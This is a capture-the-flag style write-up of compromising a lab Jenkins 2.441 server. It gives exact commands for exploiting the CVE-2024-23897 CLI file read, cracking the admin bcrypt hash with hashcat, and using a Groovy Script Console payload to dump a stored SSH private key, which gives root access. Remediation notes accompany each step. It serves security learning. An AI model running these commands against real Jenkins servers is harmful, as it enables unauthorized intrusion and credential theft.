Builder
Summary
I fingerprinted an internet-facing Jenkins 2.441 CI server and abused an unauthenticated arbitrary file-read vulnerability in its CLI (CVE-2024-23897) to pull the administrator's user configuration straight off disk, exposing a bcrypt password hash. Cracking that hash offline handed over valid Jenkins credentials, which were used to reach the built-in Groovy Script Console — a feature that grants full code execution on the Jenkins master to any authenticated user.
A Groovy payload dumped Jenkins' encrypted credential store, recovering a stored SSH private key. Because the Jenkins process itself ran as root on the host, that 'CI' key turned out to be root's own SSH key, giving me an immediate, unrestricted root shell and full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD3="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <crumb>, <random> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Confirm the two open ports: 22/ssh and 8080/http.
$ nmap -sV -p- $TARGETGrab response headers; X-Jenkins reveals the exact version.
$ curl -ksS -L --max-time 15 -D - http://$TARGET:8080/Unauthenticated feed confirms the app is Jenkins.
$ curl -ksS -L --max-time 10 "http://$TARGET:8080/rssAll?flavor=rss20"Exact commands 3
Pull the CLI jar from the target itself.
$ wget http://$TARGET:8080/jnlpJars/jenkins-cli.jarMulti-arg command leaks more output per call than 'help'; identifies jennifer's randomized user folder.
$ java -jar jenkins-cli.jar -s http://$TARGET:8080/ connect-node '@/var/jenkins_home/users/users.xml'Substitute the real folder suffix found above; output is scrambled/partial, re-run and reassemble. Yields the #jbcrypt: password hash.
$ java -jar jenkins-cli.jar -s http://$TARGET:8080/ connect-node '@/var/jenkins_home/users/jennifer_<random>/config.xml'FixPatch Jenkins to a version fixed against CVE-2024-23897Critical
Exact commands 2
Strip the '#jbcrypt:' prefix, keep only the bcrypt hash.
$ echo '$2a$10$<hash-from-config.xml>' > jennifer.hashMode 3200 is plain bcrypt (NOT 25600/25800). Recovers <withheld>.
$ hashcat -m 3200 -a 0 jennifer.hash rockyou.txtFixEnforce strong, unique passwords for Jenkins accountsHigh
Exact commands 2
Authenticate and obtain a CSRF crumb.
$ curl -sS -c jenkins.cookies -u jennifer:$PASSWORD3 http://$TARGET:8080/crumbIssuer/api/xmlDumps the stored SSH private key for credential ID '1' via the Script Console.
$ curl -sS -b jenkins.cookies -u jennifer:$PASSWORD3 -H 'Jenkins-Crumb: <crumb>' --data-urlencode 'script=def cred = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(com.cloudbees.plugins.credentials.common.StandardCredentials.class, Jenkins.instance, null, null).find { it.id == "1" }; println(cred.privateKey)' http://$TARGET:8080/scriptTextFixRestrict access to the Jenkins Script Console and credential storeCritical
Exact commands 3
Save the exfiltrated private key to a file.
$ vim id_rsa # paste the recovered keySSH requires restrictive permissions on private keys.
$ chmod 600 id_rsaConfirms uid=0(root) — no separate local privesc was required.
$ ssh -i id_rsa root@$TARGET /usr/bin/id
uid=0(root) gid=0(root) groups=0(root)FixRun Jenkins as a dedicated low-privileged service accountCritical
Exact commands 3
Locate the user flag.
$ ssh -i id_rsa root@$TARGET find /home -name user.txt -type f -printReturns <user.txt>.
$ ssh -i id_rsa root@$TARGET cat /home/jennifer/user.txtReturns <root.txt>.
$ ssh -i id_rsa root@$TARGET cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 8080/tcp | http recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.